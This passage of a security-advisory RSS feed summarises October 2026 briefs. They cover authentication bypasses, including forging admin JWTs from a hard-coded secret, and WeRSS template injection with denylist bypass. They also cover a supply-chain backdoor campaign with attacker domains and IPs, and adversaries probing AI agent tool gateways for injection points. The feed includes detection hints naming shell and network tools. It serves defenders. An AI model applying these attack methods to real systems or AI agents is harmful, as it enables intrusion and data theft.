<p>By obtaining this hard-coded secret, which is a known constant in default installations, an attacker can construct and sign JSON Web Tokens (JWTs). By including a 'roleId' claim set to '001', the attacker can successfully impersonate a super administrator. This grants the attacker unrestricted access to sensitive application functions, including user account management, role assignment, menu modification, API authority configuration, and the ability to generate or manipulate further authentication tokens. This vulnerability represents a total compromise of the application's access control mechanisms.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows for complete administrative takeover of the Simple Admin Core application. An attacker can manipulate user accounts, modify system configurations, and intercept or create API authorities. Successful exploitation compromises the confidentiality, integrity, and availability of all data managed by the application, with a CVSS v3.1 base score of 9.8.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Identify all instances of Simple Admin Core running in the environment and verify their version.</li>
<li>Upgrade all Simple Admin Core instances to a version released after 1.8.7 where the hard-coded secret is removed or configurable via environment variables.</li>
<li>Audit the 'api/etc/core.yaml' file on existing servers to confirm if the default hard-coded secret is in use.</li>
<li>If immediate patching is not possible, rotate the secret in 'api/etc/core.yaml' to a unique, high-entropy value and restart the application services, noting that this may break existing legitimate sessions and require reconfiguration of any services relying on the previous secret.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>jwt</category><category>cve-2026-111690</category><category>administrative-takeover</category></item><item><title>Remote Code Execution in WeRSS via Template Injection</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111687/</link><pubDate>Fri, 16 Oct 2026 18:45:17 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-111687/</guid><description>WeRSS version 1.5.3 and earlier contains a remote code execution vulnerability allowing unauthenticated attackers to bypass eval denylists via template parameters.</description><content:encoded><![CDATA[<p>WeRSS (we-mp-rss) through version 1.5.3 is susceptible to a critical remote code execution vulnerability (CVE-2026-111687). The vulnerability resides in the public GET /rss/{feed_id} endpoint, where the application improperly validates the template parameter. An unauthenticated attacker can exploit this by supplying a crafted 'ext' value alongside a '{{=expression}}' template. By utilizing object-subclass traversal techniques, the attacker can successfully bypass the application's eval denylist to execute arbitrary OS commands. This vulnerability allows for full system compromise under the context of the service account running the WeRSS application. Given the severity of the flaw (CVSS 9.8), organizations utilizing this software should immediately restrict access to the affected endpoint or upgrade to a patched version.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for unauthenticated remote code execution, granting attackers the ability to run OS commands with the privileges of the WeRSS service account. This could lead to full system compromise, data exfiltration, or deployment of further malicious payloads. The scope of targeting is global, affecting any instance of WeRSS version 1.5.3 or lower exposed to the network.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately restrict public access to the <code>/rss/</code> endpoint via a Web Application Firewall (WAF) or reverse proxy configuration until the software is patched.</li>
<li>Audit access logs for anomalous GET requests to the <code>/rss/</code> URI containing the <code>{{=</code> string sequence.</li>
<li>Monitor the WeRSS service process for the execution of unexpected child processes such as <code>cmd.exe</code>, <code>/bin/sh</code>, or <code>curl</code>.</li>
<li>Patch the WeRSS application as soon as an official security update from the vendor is released.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>remote-code-execution</category><category>vulnerability</category><category>webserver</category></item><item><title>Authentication Bypass in IceCMS via Shiro JWT Filter Misconfiguration</title><link>https://feed.craftedsignal.io/briefs/2026-10-icecms-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:45:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-icecms-auth-bypass/</guid><description>IceCMS versions through 4.1.5 contain a missing authentication vulnerability allowing unauthenticated attackers to perform full account takeover via the /User/updateUser API endpoint.</description><content:encoded><![CDATA[<p>IceCMS versions up to and including 4.1.5 contain a critical missing authentication vulnerability arising from an improper configuration of the Apache Shiro JWT filter. The application incorrectly excludes the /User/ URL path from authentication requirements, which facilitates unauthorized access to administrative functions.</p>
<p>Attackers can exploit this flaw by sending unauthenticated PUT requests to the /User/updateUser endpoint. This vulnerability permits the modification of any user account identified by its userId. An attacker can leverage this to reset passwords or escalate privileges by assigning administrative roles to arbitrary user accounts, resulting in full account takeover. The vulnerability carries a CVSS v3.1 base score of 9.8, necessitating immediate attention for any organizations hosting instances of IceCMS.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability results in full account takeover, allowing attackers to modify, delete, or disable any account within the IceCMS system. By resetting passwords and elevating privileges for arbitrary user IDs, unauthorized actors can gain complete administrative control over the application, leading to unauthorized data access, system configuration changes, and potential exfiltration or destruction of sensitive information stored within the CMS.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to a patched version of IceCMS immediately.</li>
<li>Review all administrative accounts for suspicious modification timestamps or role changes occurring after the date of this disclosure.</li>
<li>Inspect server access logs for anomalous PUT requests directed to the /User/updateUser endpoint originating from untrusted network sources.</li>
<li>If immediate patching is not possible, apply a temporary WAF rule to block or challenge all incoming requests to the /User/ directory that do not possess a valid authentication token.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>cms</category><category>web-application</category></item><item><title>Authentication Bypass in Misaka Danmu Server</title><link>https://feed.craftedsignal.io/briefs/2026-10-misaka-danmu-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:44:53 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-misaka-danmu-auth-bypass/</guid><description>Misaka Danmu Server versions 2.8.9 and earlier contain an authentication bypass vulnerability allowing unauthenticated attackers to modify sensitive configuration keys via the /api/ui/config-history/rollback endpoint.</description><content:encoded><![CDATA[<p>Misaka Danmu Server versions 2.8.9 and earlier are affected by a critical authentication bypass vulnerability (CVE-2026-111643) originating in the /api/ui/config-history/rollback endpoint. This endpoint lacks proper authentication checks, allowing unauthenticated remote attackers to perform unauthorized configuration modifications. By sending a crafted POST request to this endpoint, an attacker can overwrite sensitive configuration keys such as 'ipWhitelist', 'trustedProxies', and 'webhookApiKey'. Successfully altering these keys permits the attacker to bypass access controls, effectively granting them administrative control over all protected API endpoints. Given the CVSS 3.1 base score of 9.8, this vulnerability poses a severe risk to service integrity and confidentiality.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to gain full administrative access to the Danmu Server installation. This impact enables attackers to exfiltrate sensitive data, manipulate system operations, or gain persistent access by modifying webhook configurations or trusted proxy settings, potentially leading to total system compromise in affected environments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately upgrade Misaka Danmu Server to a version beyond 2.8.9 to remediate the vulnerability.</li>
<li>Audit logs for unauthorized POST requests directed at the /api/ui/config-history/rollback endpoint.</li>
<li>Monitor changes to the 'ipWhitelist', 'trustedProxies', and 'webhookApiKey' configuration values within the application logs for any suspicious modifications.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>web-application-vulnerability</category><category>misaka</category></item><item><title>Authentication Bypass in FastapiAdmin</title><link>https://feed.craftedsignal.io/briefs/2026-10-fastapiadmin-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:44:45 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-fastapiadmin-auth-bypass/</guid><description>FastapiAdmin versions through 3.0 contain an authentication bypass vulnerability allowing unauthenticated attackers to obtain superuser sessions via unprotected auto-login endpoints.</description><content:encoded><![CDATA[<p>FastapiAdmin through version 3.0 is affected by a critical authentication bypass vulnerability (CVE-2026-111641). The vulnerability exists within the application's auto-login functionality, which exposes administrative endpoints without proper authentication requirements. This allows an unauthenticated attacker to interact with the API to enumerate user accounts, generate valid auto-login tokens for arbitrary users, and subsequently exchange these tokens for valid JWT sessions. By targeting accounts with administrative privileges, an attacker can gain full control over the application environment. Given the nature of the vulnerability, which involves direct exploitation of exposed API endpoints, it poses a significant risk to the integrity and confidentiality of any deployment running version 3.0 or earlier. Organizations using FastapiAdmin should audit their API access logs for anomalous requests to the identified auto-login endpoints and restrict access to these paths at the network or reverse proxy level until a patch is applied.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation grants an attacker full administrative access to the FastapiAdmin instance. This allows for the manipulation of application data, unauthorized access to underlying system configurations if the instance is improperly sandboxed, and potential exfiltration of sensitive information managed by the platform. The impact is critical, as it provides a trivial path to total application compromise without prior knowledge of credentials.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Restrict access to the path /api/v1/auth/auto-login/ at the reverse proxy or web application firewall level for all untrusted users.</li>
<li>Audit web server logs for requests directed to /api/v1/auth/auto-login/users to identify potential scanning or exploitation attempts.</li>
<li>Upgrade to a version of FastapiAdmin that mitigates CVE-2026-111641 as soon as a fix is released by the maintainers.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>privilege-escalation</category><category>authentication-bypass</category><category>jwt</category><category>webserver</category></item><item><title>Authentication Bypass in Webreaper Damselfly</title><link>https://feed.craftedsignal.io/briefs/2026-10-damselfly-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 18:44:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-damselfly-auth-bypass/</guid><description>Webreaper Damselfly versions 4.5.3 and earlier contain an authentication bypass vulnerability in API routes that allows unauthenticated attackers to escalate privileges and perform administrative actions.</description><content:encoded><![CDATA[<p>Webreaper Damselfly versions 4.5.3 and earlier contain a critical authentication bypass vulnerability (CVE-2026-111626) affecting the API layer. The flaw stems from commented-out authorization attributes on all /api/* routes, which effectively disables access control checks for these endpoints. This allows remote, unauthenticated attackers to interact with sensitive API functions intended for administrative use.</p>
<p>By leveraging this oversight, attackers can manipulate the user management API to create new administrator accounts or modify existing credentials. The vulnerability allows for the full takeover of the application instance, as an attacker can register themselves as an administrator or reset the passwords of existing authorized users to gain persistence and full control over the application environment.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in full unauthorized administrative access to the affected Webreaper Damselfly instance. Attackers can create rogue accounts, modify existing user passwords, and access sensitive data stored within the application. This vulnerability poses a severe risk to any organization using Damselfly as it allows for trivial system takeover without prior authentication.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Webreaper Damselfly to a patched version beyond 4.5.3 immediately.</li>
<li>Review application access logs for unexpected requests to the /api/users endpoint, specifically looking for PUT or POST requests originating from non-authorized source IPs.</li>
<li>Audit the user management logs for the creation of new accounts or unauthorized password reset events that do not correlate with legitimate user activity.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>api-vulnerability</category><category>vulnerability-management</category></item><item><title>UNC7017 Supply Chain Attack via AOMEI Backupper Update Infrastructure</title><link>https://feed.craftedsignal.io/briefs/2026-10-aomei-update-tampering/</link><pubDate>Fri, 16 Oct 2026 18:27:42 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-aomei-update-tampering/</guid><description>UNC7017 performed an opportunistic supply chain attack by intermittently compromising AOMEI update servers to deliver backdoors, credential-harvesting pop-ups, and remote administration tools to Windows users.</description><content:encoded><![CDATA[<p>Between May and July 2026, the threat actor UNC7017 conducted a sophisticated, short-lived supply chain attack against AOMEI Technology. By gaining unauthorized access to AOMEI update servers, the attackers repeatedly replaced configuration files (down_html.ini and Notifycfg.ini) for short windows of 5-10 minutes. Because the AOMEI Backupper software lacks cryptographic verification for these update files, compromised clients automatically downloaded and executed malicious payloads delivered via the update flow.</p>
<p>The campaign avoided detection by reverting the server-side configuration to legitimate files immediately after the malicious windows, ensuring that triage attempts checking the vendor's site would appear clean. The attack targets included organizations in IT services, telecommunications, and education across 11 countries. The campaign notably utilized both binary implants and a non-executable WebDAV-based NTLM credential harvesting technique. AOMEI has reported taking corrective server-side actions, but no software update has been released to address the lack of cryptographic verification in the update mechanism itself.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains unauthorized write access to AOMEI update server infrastructure.</li>
<li>Attacker replaces 'down_html.ini' and 'Notifycfg.ini' with malicious variants for a 5-10 minute window.</li>
<li>Target AOMEI Backupper process checks for updates over HTTPS and downloads the attacker-specified malicious package.</li>
<li>'Notifycfg.ini' triggers the execution of the downloaded malicious package with the privileges of the AOMEI service.</li>
<li>The 'CROSSROAD' downloader executes, creates a scheduled task for persistence, and removes itself from the disk.</li>
<li>The scheduled task invokes a signed, legitimate Radmin binary paired with a malicious DLL that loads the 'SHINYROAD' backdoor.</li>
<li>'SHINYROAD' establishes C2 communication; attackers may subsequently push the Adaptix framework disguised as Nitro PDF software.</li>
<li>In some instances, the attacker triggers an invisible WebDAV pop-up to force NTLMv2 authentication credential leakage.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The campaign successfully compromised systems across 11 countries, including Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. Successfully infected machines grant the actor remote shell access, persistence, and potential credential harvesting capabilities. As the implant runs with the privileges of the AOMEI service, it can facilitate system-wide software installation and code execution, representing a significant compromise of the host environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Hunt for unauthorized scheduled tasks including 'RadminComponentRuntime' or 'NitroRuntime' created between May and July 2026.</li>
<li>Block outbound connections to the malicious infrastructure (storage-data[.]com, promotion.storage-data[.]com, aomei.storage-data[.]com) and the associated IP addresses (8.210.84.56, 8.218.65.184, 47.239.60.117).</li>
<li>Block outbound SMB (TCP 445) and WebDAV traffic from internal hosts to unauthorized external destinations to prevent NTLM credential relay.</li>
<li>Inspect file system logs for unsigned executables or suspicious binaries originating from AOMEI's local application data folders.</li>
<li>Deploy Sigma rules to detect the creation of unusual scheduled tasks from AOMEI-related processes.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>supply-chain</category><category>backdoor</category><category>remote-access</category><category>credential-harvesting</category></item><item><title>Multiple Vulnerabilities in Moxa AIG-302 Industrial Computing Products</title><link>https://feed.craftedsignal.io/briefs/2026-10-moxa-aig-302-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:43:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-moxa-aig-302-vulnerabilities/</guid><description>Moxa has disclosed two critical vulnerabilities, CVE-2026-109812 and CVE-2026-109813, affecting the AIG-302 industrial computing series firmware version 1.4.1 and earlier.</description><content:encoded><![CDATA[<p>Moxa has issued security advisory MPSA-262560 regarding vulnerabilities CVE-2026-109812 and CVE-2026-109813, which impact the AIG-302 series of industrial computers. These vulnerabilities affect all firmware versions up to and including v1.4.1. The vulnerabilities reside within the industrial computing platform, potentially exposing operational technology (OT) environments to unauthorized access or control if exploited. Given the nature of these industrial devices, successful exploitation could lead to system instability, unauthorized configuration changes, or the potential for lateral movement within a critical infrastructure network. Defenders should prioritize reviewing the vendor advisory and applying firmware updates to remediate these security gaps across their deployed industrial computing fleet.</p>
<h2 id="impact">Impact</h2>
<p>The AIG-302 series is utilized in industrial automation environments where system uptime and integrity are critical. If these vulnerabilities are successfully exploited, attackers could gain unauthorized influence over the device's functionality, leading to service disruption or potential compromise of the industrial control network. Organizations relying on these devices in manufacturing, energy, or utility sectors are at risk if patches are not applied according to the vendor's guidance.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Review the Moxa security advisory MPSA-262560 for specific mitigation details and patch availability.</li>
<li>Audit OT environments for the presence of Moxa AIG-302 Series devices and verify firmware versions currently in operation.</li>
<li>Update all instances of AIG-302 Series hardware to the latest firmware version released by Moxa to remediate CVE-2026-109812 and CVE-2026-109813.</li>
<li>Implement network segmentation for industrial gateways to limit exposure to these devices from non-essential internal and external network segments.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>industrial-control-systems</category><category>vulnerability</category><category>ot-security</category></item><item><title>Multiple Vulnerabilities in Google Chrome</title><link>https://feed.craftedsignal.io/briefs/2026-10-google-chrome-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:29:40 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-google-chrome-vulnerabilities/</guid><description>Google Chrome contains multiple vulnerabilities that can be exploited by a remote, anonymous attacker to achieve arbitrary code execution or cause a denial-of-service condition.</description><content:encoded><![CDATA[<p>The German Federal Office for Information Security (BSI) has reported that Google Chrome is affected by multiple security vulnerabilities. These flaws allow a remote, anonymous attacker to trigger arbitrary code execution (ACE) or a denial-of-service (DoS) condition on vulnerable systems. The vulnerabilities affect Google Chrome across Windows, Linux, and macOS platforms. Given the ubiquity of the browser as an entry point for web-based attacks, these vulnerabilities represent a significant risk to organizational environments if left unpatched. Defenders should prioritize updating browser instances to the latest stable release provided by Google to mitigate the risk of remote compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of these vulnerabilities allows an attacker to execute arbitrary code within the context of the browser, potentially leading to full system compromise if chained with sandbox escapes. Alternatively, an attacker could cause a DoS condition, impacting browser availability and productivity. These vulnerabilities affect all major desktop operating systems running Google Chrome.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor and enforce the update of all Google Chrome browser instances to the latest version as specified in the official Google Chrome release notes.</li>
<li>Audit software inventories to identify and remediate outdated versions of Google Chrome across the fleet.</li>
<li>Disable unused browser extensions and enforce a restrictive extension policy to reduce the attack surface for potential remote exploitation.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>browser</category><category>vulnerability</category><category>remote-code-execution</category></item><item><title>Matomo Information Disclosure Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-10-matomo-info-disclosure/</link><pubDate>Fri, 16 Oct 2026 16:29:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-matomo-info-disclosure/</guid><description>A vulnerability in Matomo allows a remote, authenticated attacker to disclose sensitive information, potentially leading to unauthorized data exposure.</description><content:encoded><![CDATA[<p>Matomo has been identified as vulnerable to an information disclosure issue that can be exploited by a remote, authenticated attacker. The vulnerability stems from improper handling of sensitive information, allowing an actor with valid application access to retrieve data that should remain restricted based on their privilege level. This exposure could facilitate reconnaissance or further exploitation by revealing internal system configurations, user metadata, or usage analytics that are otherwise not intended for public or lower-privilege consumption. Organizations utilizing Matomo should assess current user access permissions and monitor for unusual query patterns directed at administrative or sensitive API endpoints.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in the unauthorized disclosure of sensitive system or user information. Depending on the data exposed, this could support additional attack vectors, facilitate social engineering, or lead to privacy compliance violations. The impact is primarily focused on organizations using Matomo for analytics, as the disclosure could expose tracking data or internal system details to unauthorized users.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor web server logs for anomalous patterns of access to administrative or configuration-related API endpoints or files.</li>
<li>Audit current Matomo user accounts and apply the principle of least privilege, ensuring that users only have the access necessary for their defined roles.</li>
<li>Check for updates or patches provided by Matomo specifically addressing information disclosure vulnerabilities for the version in use.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>web-application</category><category>information-disclosure</category><category>analytics</category></item><item><title>Arbitrary Code Execution Vulnerability in Nutanix AOS and Prism Central</title><link>https://feed.craftedsignal.io/briefs/2026-10-nutanix-rce/</link><pubDate>Fri, 16 Oct 2026 16:27:59 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-nutanix-rce/</guid><description>A vulnerability in Nutanix AOS and Nutanix Prism Central allows a remote, unauthenticated attacker to bypass security controls and execute arbitrary code with administrative privileges.</description><content:encoded><![CDATA[<p>Nutanix has disclosed a critical security vulnerability affecting Nutanix AOS and Nutanix Prism Central that enables unauthenticated remote attackers to achieve arbitrary code execution with administrative privileges. By exploiting this flaw, an attacker can bypass existing security controls to gain full control over the affected infrastructure components. This vulnerability represents a significant risk to the confidentiality, integrity, and availability of managed environments. Organizations utilizing Nutanix AOS or Prism Central are urged to evaluate their exposure and apply security patches or mitigations provided by the vendor immediately to prevent unauthorized access and potential system compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability grants an attacker administrative-level access to Nutanix AOS or Prism Central environments. This allows for full compromise of the affected virtualization management infrastructure, potentially resulting in data exfiltration, lateral movement within the data center, and the disruption of critical business services managed by the Nutanix platform.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor vendor security channels for the release of security patches addressing this flaw in Nutanix AOS and Prism Central.</li>
<li>Implement network segmentation to restrict access to Prism Central management interfaces to known, authorized administrative hosts only.</li>
<li>Audit logs for unauthorized access attempts or suspicious management traffic targeting the AOS and Prism Central control planes.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Multiple Vulnerabilities in Devolutions Server</title><link>https://feed.craftedsignal.io/briefs/2026-10-devolutions-server-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:27:48 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-devolutions-server-vulnerabilities/</guid><description>Devolutions Server contains multiple vulnerabilities that allow a remote, authenticated attacker to bypass security controls, perform information disclosure, and escalate privileges.</description><content:encoded><![CDATA[<p>The German Federal Office for Information Security (BSI) has released a security advisory regarding multiple vulnerabilities in Devolutions Server. These security flaws allow a remote, authenticated attacker to bypass existing security controls, access unauthorized sensitive information (information disclosure), and successfully perform privilege escalation within the affected software environment.</p>
<p>Defenders should prioritize identifying all instances of Devolutions Server within their network to prepare for vendor-supplied updates. As these vulnerabilities require the attacker to be authenticated, monitoring for anomalous administrative activity or unauthorized changes to permission sets within the application is recommended.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of these vulnerabilities allows an authenticated user to move beyond their assigned permission level, potentially gaining administrative access to the Devolutions Server instance. This can lead to the unauthorized disclosure of sensitive data managed by the server and full system compromise if the privilege escalation is chained with other attack vectors. The scope of impact is limited to the Devolutions Server product and its associated managed data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Identify all internal Devolutions Server installations and review the vendor portal for the latest security patches.</li>
<li>Audit user accounts with administrative privileges in Devolutions Server for signs of recent compromise or unusual privilege assignment changes.</li>
<li>Review application-level access logs for anomalous requests originating from authenticated accounts that deviate from normal usage patterns.</li>
<li>Follow the vendor security update path as soon as it becomes available to remediate these vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>Multiple Vulnerabilities in Red Hat OpenShift and Enterprise Linux Quarkus/Netty Components</title><link>https://feed.craftedsignal.io/briefs/2026-10-redhat-quarkus-netty/</link><pubDate>Fri, 16 Oct 2026 16:27:42 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-redhat-quarkus-netty/</guid><description>Multiple vulnerabilities in Red Hat OpenShift and RHEL, involving Quarkus and Netty components, enable remote attackers to perform information disclosure or trigger denial-of-service conditions.</description><content:encoded><![CDATA[<p>Red Hat has identified multiple security vulnerabilities impacting Red Hat OpenShift and Red Hat Enterprise Linux (RHEL) systems, specifically targeting the Quarkus and Netty components. These flaws, tracked as CVE-2024-47754 and CVE-2024-47755, expose affected environments to remote exploitation. Successful exploitation by an unauthenticated attacker can lead to the unauthorized disclosure of sensitive system information or result in a denial-of-service (DoS) state, causing service degradation or total unavailability. Given the integration of Quarkus and Netty in various containerized and cloud-native application stacks within the Red Hat ecosystem, these vulnerabilities pose a significant risk to the stability and confidentiality of enterprise infrastructure. Organizations running these Red Hat products should prioritize vulnerability assessments to identify affected components and apply the security patches provided by Red Hat to remediate these risks.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation may lead to unauthorized access to system information or service disruptions across targeted enterprise infrastructure. These vulnerabilities impact critical enterprise platforms, including Red Hat OpenShift and RHEL, potentially affecting high-availability services and containerized workloads. If left unpatched, the denial-of-service condition can result in unplanned downtime for production applications relying on these integrated components.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Perform a comprehensive audit of Red Hat OpenShift and RHEL environments to identify components utilizing vulnerable versions of Quarkus and Netty.</li>
<li>Apply security updates for CVE-2024-47754 and CVE-2024-47755 provided by Red Hat through the official Red Hat portal immediately.</li>
<li>Monitor logs for unusual error rates or spikes in service interruptions associated with Quarkus-based applications that may indicate attempted denial-of-service exploitation.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>FasterXML Jackson Denial of Service Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-10-jackson-dos/</link><pubDate>Fri, 16 Oct 2026 16:27:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-jackson-dos/</guid><description>A vulnerability in FasterXML Jackson allows a remote, unauthenticated attacker to trigger a denial of service (DoS) condition in applications using the library for data processing.</description><content:encoded><![CDATA[<p>The FasterXML Jackson library is susceptible to a denial of service (DoS) vulnerability that can be exploited by remote, unauthenticated attackers. The vulnerability affects applications utilizing the library for parsing or processing data. When a specifically crafted input is provided to an application leveraging a vulnerable version of Jackson, it can lead to resource exhaustion or application instability. This flaw is particularly relevant for defenders managing enterprise software stacks, as Jackson is a ubiquitous library in Java-based ecosystems for JSON handling. Defenders should identify dependencies using this library and prepare for patches as they become available from upstream maintainers or downstream distribution vendors.</p>
<h2 id="impact">Impact</h2>
<p>The successful exploitation of this vulnerability results in a denial of service, rendering affected applications unavailable or unresponsive to legitimate user requests. This could impact any sector relying on Java-based applications for web services, API management, or data transformation. The scope of impact is contingent upon the integration of Jackson within the target application's exposed interfaces.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor upstream releases from FasterXML for security-specific patches or version increments addressing this DoS vulnerability.</li>
<li>Audit application dependencies to identify versions of Jackson currently in use across the production environment.</li>
<li>Implement resource monitoring on Java applications to detect spikes in CPU or memory utilization associated with incoming JSON payload processing.</li>
<li>Apply vendor-supplied patches to all affected applications once remediation versions are published.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>Multiple Vulnerabilities in Apache Airflow</title><link>https://feed.craftedsignal.io/briefs/2026-10-apache-airflow-vulnerabilities/</link><pubDate>Fri, 16 Oct 2026 16:27:07 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-apache-airflow-vulnerabilities/</guid><description>Apache Airflow is affected by multiple vulnerabilities that could allow an attacker to bypass security measures or perform unauthorized information disclosure.</description><content:encoded><![CDATA[<p>The Apache Software Foundation has disclosed multiple vulnerabilities affecting Apache Airflow that may enable unauthorized actors to circumvent established security controls or access sensitive information. These flaws pose a risk to the integrity and confidentiality of data orchestration workflows managed by Airflow. Organizations using Airflow are advised to review the official project security advisories and apply available patches. Defenders should focus on monitoring anomalous API interactions and unusual attempts to access restricted administrative or operational endpoints.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of these vulnerabilities could result in unauthorized information disclosure or a breach of security boundaries within the orchestration environment. This may lead to the compromise of sensitive data integrated into workflows or provide attackers with elevated access to the underlying infrastructure, depending on the scope of the vulnerability.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Identify all internet-facing or internal Apache Airflow instances and verify their patch status against the latest versions released by the Apache Software Foundation.</li>
<li>Monitor webserver logs for unauthorized access patterns or unusual API requests targeting restricted endpoints.</li>
<li>Audit Airflow configuration files to ensure that default credentials and insecure authentication settings are replaced with robust, organization-wide identity management standards.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>Detecting AWS Bedrock AgentCore Gateway Probing</title><link>https://feed.craftedsignal.io/briefs/2026-10-aws-bedrock-gateway-failures/</link><pubDate>Fri, 16 Oct 2026 16:24:36 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-aws-bedrock-gateway-failures/</guid><description>A high volume of failed tool invocations against an AWS Bedrock AgentCore Gateway may indicate an adversary attempting to discover injection points or authorization bypasses within AI agent infrastructure.</description><content:encoded><![CDATA[<p>The AWS Bedrock AgentCore service manages interactions between AI agents and external tools via a Gateway. Detection engineers should be aware that a concentrated burst of failed tool invocations against a single gateway can indicate an adversary performing reconnaissance. Threat actors may probe a tool's parameter surface, testing for injection vulnerabilities, authorization bypasses, or schema weaknesses.</p>
<p>It is essential to distinguish between malicious probing and legitimate operational issues. Because individual tool calls fail routinely due to transient errors or bad input, this behavior only becomes a security concern when high failure rates occur within a short time window. Furthermore, because these gateway error logs do not inherently contain caller identity, confirming the health of the downstream target is critical to separating legitimate infrastructure outages from intentional adversarial probing.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of AI agent tool invocation interfaces can lead to unauthorized code execution, sensitive data exfiltration, or the circumvention of security controls implemented within the agent's tool wrapper. If the infrastructure is compromised, attackers may leverage the agent's permissions to interact with internal APIs or databases, leading to potential data breaches or service disruption.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy monitoring to capture bursts of failed tool invocations using the <code>aws.bedrock_agentcore.gateway.payload_object.isError</code> field.</li>
<li>Investigate the <code>aws.bedrock_agentcore.gateway.payload_object</code> logs to review stack traces and error types, which helps differentiate between malformed input (probing) and infrastructure outages.</li>
